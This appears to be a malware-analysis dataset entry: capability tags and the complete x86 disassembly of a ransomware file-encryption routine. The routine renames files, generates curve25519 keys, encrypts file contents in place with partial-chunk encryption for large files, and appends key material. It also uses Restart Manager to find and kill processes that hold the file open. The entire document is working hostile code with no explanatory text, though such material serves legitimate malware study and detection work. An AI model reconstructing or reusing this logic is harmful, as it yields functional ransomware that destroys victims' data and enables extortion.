Function at 0x408730
Capabilities:
Contain obfuscated stackstrings
Create restart manager session
Encrypt data using curve25519
Enumerate processes that use resource
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2cec
call fcn.00412220
mov byte [ebp - 0xd0], 9
xor eax, eax
mov dword [ebp - 0xcf], eax
mov dword [ebp - 0xcb], eax
mov dword [ebp - 0xc7], eax
mov dword [ebp - 0xc3], eax
mov dword [ebp - 0xbf], eax
mov dword [ebp - 0xbb], eax
mov dword [ebp - 0xb7], eax
mov word [ebp - 0xb3], ax
mov byte [ebp - 0xb1], al
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x138], 0x756f6863
mov dword [ebp - 0x134], 0x6420676e
mov dword [ebp - 0x130], 0x20676e6f
mov dword [ebp - 0x12c], 0x6b6f6f6c
mov dword [ebp - 0x128], 0x696c2073
mov dword [ebp - 0x124], 0x6820656b
mov dword [ebp - 0x120], 0x6420746f
mov dword [ebp - 0x11c], 0x2121676f
push 0x80
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push 0x10000
call fcn.00411e60
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40937a
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x402a4c
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 9
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExW]
test eax, eax
je 0x4092df
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
lea ecx, [ebp - 0x184]
push ecx
push 0
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesExW]
test eax, eax
je 0x408868
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x20], ecx
jmp 0x408900
cmp dword [0x41325c], 0
je 0x408900
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x84], eax
mov ecx, dword [ebp - 0x84]
push ecx
call fcn.00411e60
add esp, 4
mov dword [ebp - 0x30], eax
push 0
push 0
mov edx, dword [ebp - 0x84]
push edx
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
mov eax, dword [ebp - 0x30]
push eax
push 0x402a5c
call fcn.00403cc0
add esp, 0xc
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.00411e90
add esp, 4
push 0
push 0x8000080
push 3
push 0
push 1
push 0xc0000000
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x408e19
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
push 0x100000
call fcn.00411e60
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x408e0a
lea edx, [ebp - 0xf8]
push edx
push 0x20
mov eax, dword [0x413260]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov ecx, 1
imul edx, ecx, 0
movzx eax, byte [ebp + edx - 0xf8]
and eax, 0xf8
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0xf8], al
mov eax, 1
imul ecx, eax, 0x1f
movzx edx, byte [ebp + ecx - 0xf8]
and edx, 0x7f
mov eax, 1
imul ecx, eax, 0x1f
mov byte [ebp + ecx - 0xf8], dl
mov edx, 1
imul eax, edx, 0x1f
movzx ecx, byte [ebp + eax - 0xf8]
or ecx, 0x40
mov edx, 1
imul eax, edx, 0x1f
mov byte [ebp + eax - 0xf8], cl
lea ecx, [ebp - 0xd0]
push ecx
lea edx, [ebp - 0xf8]
push edx
lea eax, [ebp - 0x160]
push eax
call fcn.00403e10
add esp, 0xc
push 0x4131b4
lea ecx, [ebp - 0xf8]
push ecx
lea edx, [ebp - 0x118]
push edx
call fcn.00403e10
add esp, 0xc
lea eax, [ebp - 0x1c4]
push eax
push 0x20
lea ecx, [ebp - 0x118]
push ecx
call fcn.0040fab0
add esp, 0xc
push 0x100
push 0x100
lea edx, [ebp - 0x1c4]
push edx
lea eax, [ebp - 0x12d4]
push eax
call fcn.0040ee50
add esp, 0x10
lea ecx, [ebp - 0x1a4]
push ecx
lea edx, [ebp - 0x12d4]
push edx
call fcn.0040eee0
add esp, 8
push 0x40
lea eax, [ebp - 0x1c4]
push eax
call fcn.0040f550
add esp, 8
mov dword [ebp - 0x140], eax
push 0x40
push 0
mov ecx, 4
imul edx, ecx, 0
lea eax, [ebp + edx - 0x250]
push eax
call fcn.00411df0
add esp, 0xc
push 0x40
push 0
lea ecx, [ebp - 0x1c4]
push ecx
call fcn.00411df0
add esp, 0xc
push 0x40
push 0
lea edx, [ebp - 0x118]
push edx
call fcn.00411df0
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
cmp dword [ebp - 0x1c], 0
jl 0x408bda
jg 0x408ae4
cmp dword [ebp - 0x20], 0x1400000
jbe 0x408bda
push 0
push 0xa00000
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00412170
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x58], xmm0
jmp 0x408b20
mov edx, dword [ebp - 0x58]
add edx, 1
mov eax, dword [ebp - 0x54]
adc eax, 0
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
cmp ecx, dword [ebp - 0x9c]
jg 0x408bd5
jl 0x408b40
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0xa0]
jae 0x408bd5
push 0
lea eax, [ebp - 0x24]
push eax
push 0x100000
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x12d4]
push eax
push 0
call fcn.0040f240
add esp, 0x14
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea ecx, [ebp - 0x34]
push ecx
push 0x100000
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov ecx, dword [ebp - 0x14]
add ecx, 0xa00000
mov edx, dword [ebp - 0x10]
adc edx, 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
jmp 0x408b0e
jmp 0x408db1
cmp dword [ebp - 0x1c], 0
jl 0x408cde
jg 0x408bf3
cmp dword [ebp - 0x20], 0x500000
jbe 0x408cde
push 0
push 3
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00412170
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x60], xmm0
jmp 0x408c2c
mov edx, dword [ebp - 0x60]
add edx, 1
mov eax, dword [ebp - 0x5c]
adc eax, 0
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jg 0x408cd9
jl 0x408c42
cmp dword [ebp - 0x60], 3
jae 0x408cd9
push 0
lea ecx, [ebp - 0x24]
push ecx
push 0x100000
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x12d4]
push ecx
push 0
call fcn.0040f240
add esp, 0x14
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x10]
adc ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
jmp 0x408c1a
jmp 0x408db1
cmp dword [ebp - 0x1c], 0
jl 0x408db1
jg 0x408cf4
cmp dword [ebp - 0x20], 0
jbe 0x408db1
cmp dword [ebp - 0x1c], 0
jl 0x408d21
jg 0x408d02
cmp dword [ebp - 0x20], 0x40
jbe 0x408d21
push 0
push 0xa
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.00412170
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
jmp 0x408d33
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x98], ecx
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xb0], eax
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0xac], ecx
push 0
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 0xb0]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x12d4]
push eax
push 0
call fcn.0040f240
add esp, 0x14
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0x10cc
push 0
lea edx, [ebp - 0x12d4]
push edx
call fcn.00411df0
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
push 2
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea eax, [ebp - 0x34]
push eax
push 0x48
lea ecx, [ebp - 0x160]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [ebp - 8]
push eax
call fcn.00411e90
add esp, 4
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x4092da
cmp dword [ebp - 0x74], 0
je 0x40924b
mov dword [ebp - 0x18], 0
push 0x42
push 0
lea edx, [ebp - 0x208]
push edx
call fcn.00411df0
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
push 0
lea ecx, [ebp - 0x44]
push ecx
call sub.RstrtMgr.DLL_RmStartSession
test eax, eax
jne 0x408e5f
mov dword [ebp - 0x88], 1
jmp 0x408e69
mov dword [ebp - 0x88], 0
mov edx, dword [ebp - 0x88]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x4091be
push 0
push 0
push 0
push 0
lea eax, [ebp + 8]
push eax
push 1
mov ecx, dword [ebp - 0x44]
push ecx
call sub.RstrtMgr.DLL_RmRegisterResources
test eax, eax
jne 0x408ea3
mov dword [ebp - 0x8c], 1
jmp 0x408ead
mov dword [ebp - 0x8c], 0
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x40911c
mov dword [ebp - 0x64], 0xa
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0x2cec]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0xd4]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call sub.RstrtMgr.DLL_RmGetList
test eax, eax
jne 0x408ef9
mov dword [ebp - 0x90], 1
jmp 0x408f03
mov dword [ebp - 0x90], 0
mov edx, dword [ebp - 0x90]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
je 0x40908f
mov dword [ebp - 0xc], 0
jmp 0x408f28
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x64]
jae 0x40908a
imul edx, dword [ebp - 0xc], 0x29c
cmp dword [ebp + edx - 0x2a60], 4
je 0x409085
imul eax, dword [ebp - 0xc], 0x29c
cmp dword [ebp + eax - 0x2a60], 0x3e8
je 0x409085
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
imul ecx, dword [ebp - 0xc], 0x29c
cmp eax, dword [ebp + ecx - 0x2cec]
je 0x409085
imul edx, dword [ebp - 0xc], 0x29c
mov eax, dword [ebp + edx - 0x2cec]
push eax
push 0
push 0x100001
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x408fca
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 0x1388
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x409085
cmp dword [0x41325c], 0
je 0x409085
push 0
push 0
push 0
push 0
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2ce0]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
imul eax, dword [ebp - 0xc], 0x29c
lea ecx, [ebp + eax - 0x2ce0]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x68], eax
mov edx, dword [ebp - 0x68]
push edx
call fcn.00411e60
add esp, 4
mov dword [ebp - 0x38], eax
push 0
push 0
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
imul edx, dword [ebp - 0xc], 0x29c
lea eax, [ebp + edx - 0x2ce0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
imul ecx, dword [ebp - 0xc], 0x29c
lea edx, [ebp + ecx - 0x2ce0]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
mov eax, dword [ebp - 0x38]
push eax
push 0x402a7c
call fcn.00403cc0
add esp, 0xc
mov ecx, dword [ebp - 0x38]
push ecx
call fcn.00411e90
add esp, 4
jmp 0x408f1f
jmp 0x409117
cmp dword [0x41325c], 0
je 0x409117
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.00411e60
add esp, 4
mov dword [ebp - 0x3c], eax
push 0
push 0
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
push 0x402a90
call fcn.00403cc0
add esp, 0xc
mov edx, dword [ebp - 0x3c]
push edx
call fcn.00411e90
add esp, 4
jmp 0x4091a4
cmp dword [0x41325c], 0
je 0x4091a4
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x70], eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.00411e60
add esp, 4
mov dword [ebp - 0x40], eax
push 0
push 0
mov eax, dword [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x40]
push edx
push 0x402aa0
call fcn.00403cc0
add esp, 0xc
mov eax, dword [ebp - 0x40]
push eax
call fcn.00411e90
add esp, 4
mov ecx, dword [ebp - 0x44]
push ecx
call sub.RstrtMgr.DLL_RmEndSession
mov dword [ebp - 0x74], 0
jmp 0x408900
cmp dword [0x41325c], 0
je 0x409246
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.00411e60
add esp, 4
mov dword [ebp - 0x48], eax
push 0
push 0
mov edx, dword [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x48]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov edx, dword [ebp + 8]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x48]
push ecx
push 0x402abc
call fcn.00403cc0
add esp, 0xc
mov edx, dword [ebp - 0x48]
push edx
call fcn.00411e90
add esp, 4
jmp 0x4092da
cmp dword [0x41325c], 0
je 0x4092da
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x7c], eax
mov edx, dword [ebp - 0x7c]
push edx
call fcn.00411e60
add esp, 4
mov dword [ebp - 0x4c], eax
push 0
push 0
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
push 0x402ad4
call fcn.00403cc0
add esp, 0xc
mov edx, dword [ebp - 0x4c]
push edx
call fcn.00411e90
add esp, 4
jmp 0x40936e
cmp dword [0x41325c], 0
je 0x40936e
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov dword [ebp - 0x80], eax
mov edx, dword [ebp - 0x80]
push edx
call fcn.00411e60
add esp, 4
mov dword [ebp - 0x50], eax
push 0
push 0
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x50]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
mov ecx, dword [ebp - 0x50]
push ecx
push 0x402af8
call fcn.00403cc0
add esp, 0xc
mov edx, dword [ebp - 0x50]
push edx
call fcn.00411e90
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
call fcn.00411e90
add esp, 4
mov esp, ebp
pop ebp
ret